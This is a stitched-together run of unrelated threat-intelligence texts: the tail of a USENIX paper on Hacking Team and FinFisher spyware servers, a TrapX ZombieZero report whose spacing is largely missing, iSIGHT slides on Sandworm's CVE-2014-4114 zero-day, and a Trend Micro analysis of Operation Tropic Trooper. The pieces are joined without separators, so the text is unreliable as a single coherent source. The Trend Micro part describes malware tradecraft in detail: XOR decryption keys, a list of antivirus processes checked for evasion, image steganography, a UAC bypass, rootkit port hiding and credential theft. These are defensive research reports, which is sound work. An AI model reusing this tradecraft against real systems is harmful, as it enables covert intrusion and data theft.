4) Overall, servers in 8 countries with governments deemed authoritarian regimes [69]: Azerbaijan, Kazakhstan, Nigeria, Oman, Saudi Arabia, Sudan, UAE, Uzbekistan.
Link to Hacking Team: All active servers match- ing one of our signatures also responded peculiarly when queried with particular ill-formed HTTP requests, respond- ing with HTTP1/1 400 Bad request (should be HTTP/1.1) and a body of Detected error: HTTP code 400.
Googling for this response yielded a GitHub project em-http-server [78], a Ruby-based webserver.
The projects author is listed as Alberto Ornaghi, a software architect at Hacking Team.
We suspect that the Hacking Team CC server code may incorporate code from this project.
Links between servers: We identified many cases where several servers hosted by different providers, and in different countries, returned identical SSL certificates matching our fin- gerprints.
We also observed 30 active servers used a global IPID.
Only one active server had neither a global IPID nor 819 of the 42 Linode servers were hosted in the USA, so the two patterns of prevalence are mostly distinct.
11 522 23rd USENIX Security Symposium USENIX Association an SSL certificate matching our fingerprints.
We assessed whether servers returning SSL certificates were forwarding to the servers with global IPIDs by inducing bursts of traffic at the former and monitoring the IPID at the latter.
For 11 servers, we found that the servers activity correlated to bursts sent to other servers We grouped servers by the SSL certificates they returned, and found that each group forwarded to only a sin- gle server, except for one case where a group forwarded to two different IPs (both in Morocco).
We also found two groups that forwarded to the same address.
There was a 1:1 mapping between the remaining 8 addresses and groups.
We refer to a group along with the server(s) it forwards to as a server group.
We identified several server groups that may be associated with victims or operators in a certain country.
Some of these suggest possible further investigation: Turkey: We identified a group containing 20 servers in 9 countries.
Two RCS and 5 FSBSpy samples from VirusTo- tal communicated with various servers in the group.
The RCS samples also communicated with domains with lapsed registra- tions, so we registered them to observe incoming traffic.
We ex- clusively received RCS traffic from Turkish IP addresses.
(
RCS traffic is identifiable based on a distinctive user agent and URL in POST requests.)
A sample of FSBSpy apparently installed from an exploit on a Turkish server talked to one of the servers in this group.
[79] We also found server groups containing servers in Uzbek- istan and Kazakhstan we found FSBSpy samples on Virus- Total uploaded from these countries that communicated with servers in these groups.
In the above cases, save Turkey, the country we have identi- fied is classified as an authoritarian regime, and may be using Hacking Team products against the types of targets we profile in this paper.
In the case of Turkey, there are hints that the tool may be employed against dissidents [80].
6 Summary Targeted surveillance of individuals conducted by nation-states poses an exceptionally challenging security problem, given the great imbalance of resources and expertise between the victims and the attackers.
We have sketched the nature of this problem space as reported to us by targeted individuals in three Middle Eastern countries.
The attacks include spyware for ongoing monitoring and the use of IP spy links to deanonymize those who voice dissent.
The attacks, while sometimes incorporating effective so- cial engineering, in general lack novel technical elements.
In- stead, they employ prepackaged tools developed by vendors or acquired from the cybercrime underground.
This technol- ogy sometimes suffers from what strike us as amateurish mis- takes (multiple serious errors implementing cryptography, bro- ken protocol messages), as does the attackers employment of it (identifying-information embedded in binaries, CC servers discoverable via scanning or Google hacking, clusters of at- tack accounts tied by common activity).
Some of these errors assisted our efforts to assemble strong circumstantial evidence of governmental origins.
In addition, we mapped out the global use of two governmental hacking suites, including identify- ing 11 cases in which they appeared to be used in countries governed by authoritarian regimes.
We aim with this work to inspire additional research efforts addressing the difficult problem of how to adequately protect individuals with very limited resources facing very powerful adversaries.
Open questions include robust, practical detection of targeted attacks designed to exfiltrate data from a victims computer, as well as detection of and defense against novel at- tack vectors, like tampering with Internet connections to insert malware.
The task is highly challenging, but the potential stakes are likewise very high.
An opposition member, reflecting on gov- ernment hacking in Libya, speculated as to why some users would execute files even while recognizing them as potentially malicious [2]: If we were vulnerable we couldnt care less . . .
we were desperate to get our voices out . . .
it was a matter of life or death . . .
it was just vital to get this information out.
Acknowledgment This work was supported by the National Science Foundation under grants 1223717 and 1237265, and by a Citizen Lab Fel- lowship.
Any opinions, findings, and conclusions or recom- mendations expressed in this material are those of the authors and do not necessarily reflect the views of the sponsors.
The authors would like to thank the following individuals for their help in various aspects of our analysis: Bernhard Am- man, Collin D. Anderson, Brandon Dixon, Zakir Durumeric, Eva Galperin, Claudio Guarnieri, Drew Hintz, Ralph Holz, Shane Huntley, Andrew Lyons, Mark Schloesser, and Nicholas Weaver.
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Guarnieri searched a database of such responses compiled by the Critical.
IO Internet scanning project [68], locating 11 additional servers in 10 countries [67].
We refer to this fingerprint as 1.
Concurrent with this ef- fort, we devised our own fingerprint 1 that tested three as- pects of the handshake between a FinSpy infectee and a Fin- Spy CC server, which follows a custom TLV-based protocol running on ports such as 22, 53, 80, and 443.
We conducted targeted scanning of several countries using 1, and also con- firmed Guarnieris findings for those servers still reachable af- ter he published his findings.
We observed a trend: changes in HTTP response behavior by FinFisher after publication of findings about the software.
In July 2012, for example, after a post about Bahraini FinSpy samples [81], servers closed the TCP connection in response to a GET / or HEAD / request (although servers continued to behave consistently with 1.
Other changes followed later in 2012, including a new response to GET / requests that in- cluded an imperfect copy of an Apache servers HTTP response (the Date header used UTC rather than GMT).
We fingerprinted this error as 2, and later in 2012 fingerprinted other distinctive behavior in response to GET / requests as 3.
Subsequent scans of /0 for 2 and 3, and five service probes of the Internet Census for 1 through 3, located several additional servers.
In Feburary 2013 we identified and finger- printed new HTTP response behavior with 4 and modified 1 to produce 2, which tests only two of the three aspects of the FinSpy handshake (the third test of 1 was broken when Fin- Spy servers were updated to accept types of invalid data they had previously rejected).
As of 3/13/13, all servers that matched any  fingerprint matched 2.
15
AnatomyoftheAttack: ZombieZero     Page2of7    TrapXSecurity//www.trapx.com//infotrapx.com//Tel:18552494453 TheAnatomyoftheAttack:ZombieZero  ZombieZero  ZombieZeroisasuspectednationstatesponsored attackontargetedlogisticsandshippingindustries.
VariantsofthisAdvancedPersistentMalware haverecentlybeenseeninmanufacturingsectors aswell.
Weaponizedmalwarewasdeliveredintocustomer environmentsfromtheChinesefactoryresponsible forsellingaproprietaryhardware/softwarescanner applicationusedinmanyshippingandlogistic companiesaroundtheworld.
Thesamehardwareproductwithavariantofthis malwarewassoldanddeliveredtoa manufacturingcompanyaswellastosevenother identifiedcustomers.
Themalwarewasembeddedinaversionof WindowsXPinstalledonhardwareat manufacturerslocationinChina.
MalwarealsopersistedintheWindowsXP embeddedversionlocatedattheChinesemanufacturerssupportwebsitehostedinChina.
DescriptionoftheChinesehardware/ softwarescannerapplicationandtheuser companyssecurityenvironment:  Itemsbeingshipped/transportedarescannedas theyareloaded/offloadedfromvehiclessuchas ships,trucks,andplanes.
Thisscanneddata(origin,destination,contents, value,to,from,etc.
)istransmittedtothe corporateERPviaanexteriorwirelessnetwork.
Thecustomerdeployedscannersattwomajor distributionsites.
Site1hadafirewallbetweenthe corporateproductionnetworkandtheendpoint scannerwirelessnetworkthatprovidedcommunity ofinterest(COI)separationbetweencomputing environments.
Site2hadnofirewallbetweenthe     Page3of7    TrapXSecurity//www.trapx.com//infotrapx.com//Tel:18552494453 corporateproductionfacilitynetwork andtheendpointscannerwireless network.
Thecustomerhaddeployed significantdefenseindepthsecurity, usingallmarketleadingbrandsof firewalls,IPS,IDS,mailgateways,and agentbasedproducts.
ERPwasfromoneofthetopthree marketleadingvendors.
Thecustomerinstalledsecurity certificatesonthescannerdevicesfor networkauthentication,butbecause APTmalwarefromthemanufacturer wasalreadyinstalledinthedevices, thecertificateswerecompletely compromised.
DescriptionofZombieZeroAPTbehavior:  Oncethescannerwasattachedtothewirelessnetworkandputintoproduction,itimmediatelybeganan automatedattackonthecorporateenvironmentusingtheSMBprotocol(port135/445).AtSite1,where thecustomerhadnetworksegmentationusingafirewall,themalwareSMBattackwasdefeated.
However, thismalwarewaspolymorphicandlaunchedasecondautomatedattackleveragingtheRADMINprotocol (port4899)thatsuccessfullyinfectedmorethannineservers.
Thesecondaryattackwassuccessfulat defeatingthecorporatefirewallatSite1.BecauseSite2hadnocorporatefirewall,theSMBattackwas successful.
Thecustomerhaddeployed48totalscanners fromtheChinesemanufacturer16ofthe scannerswereinfectedwiththeAPTmalware.
Allscannerattackstargetedveryspecific corporateservers.
Theattacklookedforand compromisedserversthathadthewordfinance intheirHostname(aHostnameisanEnglish wordrepresentingacomputernumber/address).
ThisparticularERPsystemhandlesallaspectsof corporatetransactionsincluding,butnotlimited to,corporatefinancialdata,customerdata,and detailedshippingandmanifestinformation.
TheattacksuccessfullylocatedtheERPfinancial serverviaautomatedmeansandcompromisedit.
Page4of7    TrapXSecurity//www.trapx.com//infotrapx.com//Tel:18552494453 Stagetwooftheattackfacilitatedtheuploadofastandbyweaponizedpayloadfromthescannerthat establishedacomprehensivecommandandcontrolconnection(CnC)toaChinesebotnetthatterminatedat theLanxiangVocationalSchoollocatedinChinaUnicomShandongprovincenetwork.
Asecondpayload wasthendownloadedfromthebotnetthatestablishedamoresophisticatedCnCofthecompanysfinance server.
AsecondarystealthbotnetCnCnetwork(theowneroftheIPaddresswasmasked)wasalso establishedandterminatedatalocation/facilityinBeijing.
ItshouldbenotedthattheLanxiangVocational SchoolhasbeenpreviouslylinkedtoonlineattacksofGoogleandwasimplicatedinthefamousOperation AURORAattacktwoyearsago.
TheChinesemanufacturerofthescannerislocatedinthesamephysicalareaoftheLanxiangVocational School.
ExfiltrationofallfinancialdataandERPdatawasachieved,providingtheattackercompletesituational awarenessandvisibilityintothelogistic/shippingcompanysworldwideoperations.
Russian Cyber Espionage Campaign - Sandworm Team Microsoft Windows Zero-day  Targeting NATO, EU, Telecom and Energy Sectors CVE  2014 - 4114 An iSIGHT Partners Overview Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com Key Points  Sandworm Campaign Cyber Espionage Campaign attributed to Russia Targeting includes Attribution to one of 5 active Russian intrusion teams monitored by iSIGHT Partners Sandworm Team Named for its affinity for/coded references to science fiction series Dune Campaign partially detailed by researchers at F-Secure and ESET  captured only a small component of targeting and missed critical elements Utilizing Zero-day flaw in Microsoft Windows (CVE-2014-4114) Spear-phishing campaign using weaponized Microsoft Office documents Visibility into multiple PowerPoint lures Impacts all versions of Windows from Vista to 8.1 Windows Server 2008, 2012 Flaw has existed for years Zero-day nature of vulnerability leads to conclusion that intrusion efforts were highly effective Close collaboration between iSIGHT Partners and Microsoft - patch is being released on Tuesday, October 14th Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com 2 NATO Ukraine Poland European Union European Telecommunications Energy Sector Sandworm Campaign  - Timeline of Events Monitoring Sandworm Team from late 2013 and throughout 2014 Genesis of team dates to  as early as 2009 Increased activity throughout 2014 Visibility into this specific campaign began in December of 2013 NATO alliance targeted as early as December 2013 GlobeSec attendees targeted in May 2014 June 2014 Western European government agency Polish energy firm targeted using CVE-2013-3906 BlackEnergy variant configured with Base64-encoded reference to French telecommunications firm Zero-day artifacts captured late August/early September (CVE-2014-4114) Spear-phishing email and exploit targeting Ukranian government Coinciding with NATO summit on Ukraine in Wales At least one US organization fell victim  think tank/academia iSIGHT Partners labs team discovered use of zero-day vulnerability on September 3, 2014 Immediately notified targeted parties, clients across multiple government and private sector domains Began working with Microsoft on September 5, 2014 Provided technical analysis of vulnerability and the malware used to exploit it Coordinated tracking of campaign Monitoring for broader targeting and victimization Monitoring for broader use of zero-day exploit in the wild Purposely timing disclosure to coincide with the release of the patch Minimizes potential for copy-cat exploit creation Limits exposure to a broad reaching, severe vulnerability Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com 3 Sandworm Campaign  - Timeline of Events Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com 4 Genesis of Sand Worm Team dates to as early as 2009 Late 2013 and throughout 2014 Monitoring of Sand Worm Team Traced to 2009 Increased activity throughout 2014 May 2014 GlobeSec attendees targeted 20142009 2013 June 2014 Western European government agency Polish energy firm targeted (CVE-2013-3906) BlackEnergy variant w/Base64-encoded reference to French telecomm firm September 2014 Zero-day artifacts captured (CVE-2014-4114) Spear-phishing email/exploit targeting Ukrainian government Coinciding with NATO summit on Ukraine in Wales At least one US org fell victim (think tank/academia September 3, 2014 iSIGHT Partners labs discovers zero-day vulnerability Immediately notified targeted parties and clients across government and private sector domains September 5, 2014 Began working with Microsoft Provided technical analysis of vulnerability and malware used in exploit Coordinated tracking of campaign Monitoring for broader targeting and victimization Monitoring for broader use of zero-day exploit in the wild Purposely timed disclosure to coincide w/MSFT patch release Minimizes potential for copy-cat exploit creation Limits exposure to a broad reaching, severe vulnerability Timeline France NATO Ukraine Poland Sandworm Campaign  - Visible Targets Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com 5 Known Targets NATOGovernment EnergyAcademic Telecom Sand Worm Team Sandworm Campaign  - Spearfishing Lures Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com 6 Spear-phishing attachment GlobeSec Forum on Russia Diplomacy spear-phishing attachment Energy spear-phishing attachment, specifically crafted for Polish audience Zero-day spear-phishing attachment, purported list of Russian sympathizers/ terrorist actors Sandworm Campaign  - Attribution Russian Cyber Espionage Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com 7 Marked increase in cyber espionage activities linked to Russia Russia is increasing its cyber-espionage focus and the volume is up in 2014 iSIGHT recently detailed activities of Tsar Team Mobile malware targeting multiple platforms Android, Windows, IOS Targets include Foreign militaries Defense contractors Ministries of foreign affairs News organizations NGOs and multilaterals Jihadists Sandworm is one of 5 active cyber intrusion teams linked to Russia being monitored by iSIGHT Partners Activities date back as far as 2009 Identified through overlapping infrastructure, use of traditional crimeware, unique references to Dune Team has an affinity for using traditional cyber crime tools as a component of its activities BlackEnergy malware Used at least 2 versions of BlackEnergy BlackEnergy 2  traditional crimeware BlackEnergy 3 (Lite) No documented use in crime  may have been purpose built for Sandworm Samples tied on basis of configuration to same combination of internal proxies Up to 7 proxies in common iSIGHT Partners believes Sandworm Team has Russian origins based on several factors: Files retrieved from an open directory on a command and control server included a directory listing in Russian and a help file for the BlackEnergy Trojan also written in Russian Known targeting is consistent with antagonists to NATO as well as Ukrainian and European Union governments.
1 2 Social engineering is designed to appeal to personnel involved in military and intelligence operations against Russia such as a list of pro- Russian terrorists sent in an email.
BlackEnergy source code was released through Russian e-crime channels.
3 4 List of Purported pro-Russian Terrorists Cyber Espionage, Cyber Crime and Hacktivism Blurring of Lines in Russia Growing trend of blurred lines across cyber threat domains Not just in Russia but more pronounced here recently Russian overlap Links between criminal activity and cyber espionage activity is not uncommon Tools Talent Some examples Zeus used in massive espionage campaign against US Government in 2008 and again in 2012 Pro-Russian hacktivism used BlackEnergy in the past during Georgian conflict Russians allegedly contracted a cyber crime actor in Georbot campaign against Georgia Attributed to Eshkinkot  Russian national named Vladimir A. Lenskij Georgie CERT claimed to have captured e-mail messages and docs from Russian handlers Instructing on how to use malware to record audio Capture screen shots Exfiltrate data TEMP.Noble (another Russian intrusion actor monitored by iSIGHT) Sensitive source indicates that malware components were developed through for hire cyber crime forum BlackEnergy Criminal actors Sandworm Team Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com 8 Details - Microsoft Windows Zero Day CVE  2014  4114 Affects all supported versions of Microsoft Windows Windows Vista x64 Service Pack 2 Windows Vista Service Pack 2 Windows Server 2008 R2 x6 Service pack 1 Windows Server 2008 Services Pack 2 Windows Sever 2008 x64 Service Pack 2 Windows Server 2012 Windows Server 2012 R2 Windows 7 Service pack 1 Windows 7 x64 Service Pack 1 Windows 8 x64 Windows 8 Windows 8.1 x64 Windows 8.1 Windows RT Windows RT 8.1 Does not appear to affect Windows XP Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com 9 Exposed, dangerous method vulnerability OLE package manager in Microsoft Windows and Server Vulnerability allows an attacker to remotely execute arbitrary code Windows allows OLE packager (packager .dll) to download and execute INF files In case of observed exploit, specifically when handling Microsoft PowerPoint files: Packager allows a Package OLE object to reference arbitrary external files (such as INF) from untrusted sources Causes referenced files to be downloaded and executed with specific commands Attacker can exploit to execute arbitrary code Needs specifically crafted file and social engineering methods to convince user to open Collaboration with Microsoft iSIGHT Partners follows Responsible disclosure procedures Targeted entities Government and Law Enforcement Impacted Software vendor(s) Microsoft Disclosed identification of zero-day 2 days after analysis Began immediate collaboration with Microsoft Supporting development of a patch Tracking utilization of the vulnerability in the wild Timed disclosure to minimize the potential for broader victimization Patch ready for release Tuesday, October 14th Break in case of emergency plan in place for past 5 weeks Trigger: Broader propagation of malware targeting vulnerability Trigger: Evidence of broader victimization Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com 10 Workarounds - Microsoft Windows Zero Day CVE  2014  4114 Disable the WebClient Service Impact Web Disributed Authoring and Versioning (WebDAV) requests are not transmitted Any service depending on Web Client service will not start Block TCP ports 139 and 445 Impact Ports 139 and 445 are used for additional services including Common Internet File System (CIFS), DNS Administration, NetBT service sessions, printer sharing sessions and more Disabling could affect functionality of those services Block launching of Executables via Setup Information Files Impact Applications that rely on the use of .INF file to execute an installer application may not automatically execute Proprietary and Confidential Information.
Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved     www.isightpartners.com 11
Operation Tropic Trooper Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers Kervin Alintanahin Targeted Attack Defense Response Team TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only.
It is not intended and should not be construed to constitute legal advice.
The information contained herein may not be applicable to all situations and may not reflect the most current situation.
Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise.
Trend Micro reserves the right to modify the contents of this document at any time without prior notice.
Translations of any material into other languages are intended solely as a convenience.
Translation accuracy is not guaranteed nor implied.
If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document.
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Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness.
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Use of this information constitutes acceptance for use in an as is condition.
Contents Introduction ...............................................................................................ii Targets ..................................................................................................... 1 Campaign Components ........................................................................... 2 Point of Entry ....................................................................................... 2 Initial Payload: TROJ_YAHOYAH .................................................... 3 Installation Routine ...................................................................... 3 Download Routine ....................................................................... 4 Maintaining Persistence ...................................................................... 6 Backdoor Payload: BKDR_YAHAMAM ............................................ 7 Command-and-Control Communication .............................................. 7 Lateral Movement .............................................................................. 10 Possible Connections ............................................................................ 12 Defending Against Operation Tropic Trooper ........................................ 14 Threat Intelligence Gathering ............................................................ 14 Download Links ............................................................................. 14 Strings ........................................................................................... 15 Services ......................................................................................... 15 Solution Use ...................................................................................... 15 Conclusion ............................................................................................... iii Appendix..................................................................................................iv Malicious Files .....................................................................................iv References ..............................................................................................vi INTRODUCTION Taiwan and the Philippines have become the targets of an ongoing campaign called Operation Tropic Trooper.
Active since 2012, the attackers behind the campaign have set their sights on the Taiwanese government as well as a number of companies in the heavy industry.
The same campaign has also targeted key Philippine military agencies.
Though the motivations behind the operation are still unclear, the tools and tactics used reveal potential areas of weakness both countries should look into.
Operation Tropic Trooper took advantage of two of the most-exploited Windows vulnerabilities to date CVE-2010-3333 and CVE-2012-0158to infiltrate their chosen networks.
Part of its success could be attributed to the use of basic steganography or image file attachments laced with malicious code, combined with clever social engineering.
This research paper provides in-depth technical information on Operation Tropic Troopers targets, components, tools, and tactics.
Special thanks to Ronnie Giagone for additional analyses and insights.
Operation Tropic Trooper Research Paper 1  Page  2015 Trend Micro Incorporated Targets Malware used in Operation Tropic Trooper shared similar characteristics with those used in attacks targeting various organizations in Vietnam and India as early as 2011.
[
1] Operation Tropic Trooper targets government institutions, military agencies, and companies in the heavy industry in Taiwan and the Philippines.
[
2] Operation Tropic Trooper campaign flow Operation Tropic Trooper Research Paper 2  Page  2015 Trend Micro Incorporated Campaign Components Point of Entry The actors behind Operation Tropic Trooper used spear- phishing emails with weaponized attachments to exploit old vulnerabilities, particularly CVE- 2010-3333 and CVE-2012- 0158.
[
35] These bugs have been two of the most exploited vulnerabilities since their discovery.
[
67] To infiltrate target networks, the attackers relied on crafty social engineering tricks.
They used contextually relevant subjects, content, and aptly named attachments such as Statement to convince chosen recipients to download and open the files supposedly sent for review.
The following filenames were also used: 3AD 28 March 2013, SI re ASG Plan Bombing in Zamboanga City.doc Troops Disposition 26 FEB 13.doc 2nd qtr 2013 AR PF15.doc Draft AS-PH MLSA - v3 DAGTS_CFO_ILOG_DSA Clean.doc 104.doc (translation: About 104 years total central government budget.doc) .doc (translation: Laboratory telephone table.doc) Spear-phishing email sample 3  Page  2015 Trend Micro Incorporated [REDACTED].doc (translation: [REDACTED] cover letter and your resume.doc) Opening the attachment runs an embedded malicious executable file, normally a downloader that accesses a malicious site to download an image file.
Some attachments open decoy documents to hide their malicious nature.
Initial Payload: TROJ_YAHOYAH The downloader typically attached to emails related to Operation Tropic Trooper is detected by Trend Micro as TROJ_YAHOYAH, a downloader with 32- and 64- bit support.
It has an encrypted configuration file and uses HTTP GET requests to download other files that are then decrypted and executed in memory.
Sample decoy documents (left: for Filipino targets right: for Taiwanese targets) Installation Routine When executed, TROJ_YAHOYAH checks if the infected systems Windows OS is 64-bit capable or not.
If it is, the Trojan will decrypt a 64-bit copy of itself using a simple XOR cipher with a single-byte key at 0x90.
If the infected system is not 64-bit capable, the Trojan will just drop a 32-bit executable copy of itself (APP DATA\Microsoft\ Credentials\Credentials.
exe, detected as TROJ_YAHOYAH), along with an encrypted configuration file (APP DATA\ Microsoft\Credentials\ Credentials.dat).
The configuration file was encrypted using the same simple algorithm featured in the previously cited Rapid7 report on KeyBoy.
Unlike the KeyBoy Trojan though, which searches for the string, IJUDHSDJFKJDE, TROJ_YAHOYAH searches for MDDEFGEGETGIZ.
These strings, found at the beginning of the decrypted code, represent the configuration file.
Absence of the said file terminates the infection process.
Code that decrypts the configuration file using 0x95,0x99,0x9d,0xc3,0xc7, 0xcb,0xd7,0xe5,0xbd,0xa9, 0xb5,0xeb,0xf7,0xe3,0xe7, 0xed as key 4  Page  2015 Trend Micro Incorporated TROJ_YAHOYAHs configuration file, when decrypted, contains the links to sites from which it can download the files it needs to continue its routines.
After decryption, it executes a dropped copy using the -Embedding parameter then attempts to delete itself.
The downloaders name was inspired by its self- deletion routine after dropping its payload.
YAHOYAH was derived from the Visayan term hayohay, which loosely translates to an easily discarded servant in English.
[
8] Download Routine TROJ_YAHOYAH attempts to access links and download files via HTTP GET requests.
To move to another attack phase, it uses the following user-agent strings: MSIE: Checks for the systems Internet Explorer version NT: Checks for the systems Windows OS version AV: Checks for installed antimalware solutions OV: Checks for the systems Microsoft Office version TROJ_YAHOYAHs decrypted configuration file NA: Checks for the systems hostname VR: Hard-coded string only used when accessing download sites to track which downloader was used on a target.
TROJ_YAHOYAH checks for the following antimalware solution processes: 360rp.exe 360tray.exe ALMon.exe ALsvc.exe ashserv.exe Avastsvc.exe avgam.exe avguard.exe avp.exe avpmapp.exe consctl.exe CyberoamClient.exe econceal.exe econser.exe ekrn.exe escanmon.exe HTTP GET request sample 5  Page  2015 Trend Micro Incorporated mcshield.exe nod32krn.exe pccntmon.exe rtvscan.exe SAVAdminService.exe SavService.exe sfctlcom.exe swi_service.exe uiwatchdog.exe TROJ_YAHOYAH temporarily saves downloaded files in a specially created folder named APP DATA\ tasks\uprandom characters.msi.
Sample .MSI file with a malicious .JPG header The image is supposed to be an 800 x 600 wallpaper that is way heavier than the real one named Wind.
jpg normally found in Windows XP systems WINDOWS\wallpaper\web folder.
The actors behind Operation Tropic Trooper may be using a simple steganography technique to mask the backdoors routines in order to evade antimalware and network perimeter detection.
[
9] We have seen the actors use other images found in the same folder such as Ascent.jpg, Friend.jpg, and Home.jpg.
Sample .MSI file opened on Microsoft Paint 6  Page  2015 Trend Micro Incorporated Maintaining Persistence The last file that TROJ_YAHOYAH executes in memory is the main installer.
It contains two more files that install a .DLL file detected as TROJ_YAHAMAM.
This file is registered as a service named INCS to maintain persistence.
It also drops the following XOR- encrypted malware-laced image files: windows \System32\mfc41.dll (detected as TROJ_YAHAMAM) windows \inf\mfc41.inf (a configuration file) windows \Fonts\mfc41.tff (a copy of the configuration file) windows\Web Wallpaper\images.jpg (contains BKDR_YAHAMAM) A batch (.BAT) file is used to start the INCS service.
TROJ_YAHAMAM uses a trick similar to that of TROJ_YAHOYAH in order to decrypt files.
When decrypted, TROJ_YAHAMAM executes the backdoor payload.
A more in-depth analysis of the downloaded file reveals that malicious code has been appended to it.
This allows TROJ_YAHOYAH to check offset 0x0F bytes from the end of the file code to identify a marker where the malicious binary code will be added, thus increasing the files size.
TROJ_YAHOYAH looks for the string, EHAGBPSL, and decrypts the appended binary code.
When decrypted, an .EXE file is executed in memory.
It automatically runs if the user has administrator privileges.
If the user has limited privileges though, it will first attempt to obtain administrator privileges by bypassing User Account Control (UAC) but only on Windows 7.
It will then decrypt another XOR-encrypted file using the key 0x90 in memory then check if the StartWork function was exported then execute it.
Other images used in attacks Malicious code appended to that of the .JPG file 7  Page  2015 Trend Micro Incorporated Backdoor Payload: BKDR_ YAHAMAM BKDR_YAHAMAM is usually encrypted then embedded in an image file.
When decrypted, it is loaded and executed in memory by a .DLL file that is registered as a service (TROJ_YAHAMAM).
It exfiltrates data from infected systems, downloads and uploads files, and has a remote shell.
It also drops a rootkit component named usb.sys, detected as RTKT_HIDEPORT.ZTCA-XO.
The rootkit creates the service, usb30, and hides evidence of port communication to evade detection and remain persistent.
Command-and-Control Communication When executed, BKDR_YAHAMAM checks if it runs under svchost.exe.
It uses the configuration file, windows \Fonts\mfc41.tff, which contains the following information: CC1 CC2 CC3 ControlPort DownloadURL1 DownloadURL2 DownloadURL3 LoginPass (for authentication purposes) Port1 Port2 Port3 USB UserMark BKDR_YAHAMAM encrypts CC communication using multiplication with a 1-byte key.
Attackers can use the ?
and Help commands to see the various options the backdoor offers as shown in its code.
We were able to download some files from two of the CC servers that TROJ_YAHAMAM accesses.
These had some image files that the 32- and 64-bit versions of the backdoor can choose from for use in attacks.
Tool used to emulate command-and-control (CC) communication with a 64-bit version of BKDR_ YAHAMAM Operation Tropic Trooper Research Paper 8  Page  2015 Trend Micro Incorporated Operation Tropic Trooper Research Paper 9  Page  2015 Trend Micro Incorporated The following table lists the unique SHA-1 hashes that TROJ_YAHAMAM downloads, along with their backdoor payloads.
Filename SHA-1 Hash Backdoor Payload Trend Micro Detection Name 3.jpg c5359ecc1651a98125bf7ea2668f85af64a7a 533 HL3.7x86_20140711 BKDR_YAHAMAM 32.jpg 872cbe46a84fb88836db2a15e92d8c80d420 9af3 HL3.7x86_20150122 BKDR_YAHAMAM bd2015.24.jpg 8ee9bdab29970c95f9ed5915813543609b7f 438c HL3.7x86_20150122 BKDR_YAHAMAM lclc_0725.jpg fedb2c7b5f6a11ddefd29eb034e85f17c612e 3ba HL3.7x86_20140508 BKDR_YAHAMAM SmartNavport0205.32.gif 75940e926894b65652bb84d96fe42fe709a1 83f5 HL3.7x86_20150122 BKDR_YAHAMAM ualband.24.jpg 6d82e1aafd910b93ebf2ece773d43e9ccbbf8 4f3 HL3.7x64_20140711 BKDR_YAHAMAM Interestingly, a BKDR_POISON variant was found on the sites folders as well, leading us to believe that the attackers also use it for Operation Tropic Trooper.
CC servers TROJ_YAHAMAM accesses to download malicious payloads Operation Tropic Trooper Research Paper 10  Page  2015 Trend Micro Incorporated Filename SHA-1 Hash Trend Micro Detection Name wshif.dll a7b4381b1f9161992b358eda9bd58a6b219a13d3 BKDR_POISON.TUFN wship.dll 4eedf918aeb1a2bedc6278e89ebf3005d0b95d41 BKDR_POISON.TUFN BKDR_YAHAMAM can steal practically any type of file saved on infected systems.
Apart from stealing data, it can also perform more harmful actions like kill processes and services, delete files and directories, and put systems to sleep, among others.
BKDR_YAHAMAM also attempts to install an accompanying executable rootkit (windows \system32\ drivers\usb30.sys, detected as RTKT_HIDEPORT.ZTCA-XO).
RTKT_HIDEPORT.ZTCA-XO is also XOR encrypted and found at byte key, 0x90, to hide the port that the backdoor should use according to the configuration file.
It will only hide communication activities occurring in the first of three port entries indicated in the configuration file.
After creating and starting the rootkit service, BKDR_YAHAMAM then attempts to delete the rootkit and the related service.
This will not stop the rootkit from running in the background.
BKDR_YAHAMAM variants with rootkits for 32-bit systems run on 32-bit versions of Windows XP.
On Windows 7 64-bit systems, however, the backdoor works but the rootkit does not.
Lateral Movement In the course of doing research, we also managed to get hold of the following tools that the actors behind Operation Tropic Trooper used in an attack: HKTL_GETOS: Detects a target systems OS version.
[
10] HKTL_SHARESCAN: Performs the following: -pr: Scans for open ports on target systems.
-letmein: Scans for saved usernames and passwords on target systems.
-arp: Views the Address Resolution Protocol (ARP) on each target system.
-netview: Scans target systems for shared resources.
HKTL_GETOSs OS-version-sniffing routine 11  Page  2015 Trend Micro Incorporated These hacking tools were possibly remotely downloaded by the attackers onto infected systems.
They aided in lateral movement and further intelligence gathering.
Data such as credentials saved on infected systems can be stolen via Address Resolution Protocol (ARP) poisoning or main-in-the-middle (MiTM) Layer 2 and pass- the-hash attacks.
[
1112] The stolen credentials allow attackers laterally move throughout a network.
The threat actors no longer have to hack their way in, they have the ability to log in as legitimate users.
HKTL_SHARESCANs routines (top left: -pr top right: -letmein bottom left: -arp bottom right: -netview Operation Tropic Trooper Research Paper 12  Page  2015 Trend Micro Incorporated Possible Connections Based on the specially crafted documents we were able to gather, Operation Tropic Trooper has been active since 2012.
We have seen malware samples from 2011 that behaved the same way and used similar file markers.
[
13] The following table provides more detailed information on Operation Tropic Troopers downloader, TROJ_YAHOYAH.
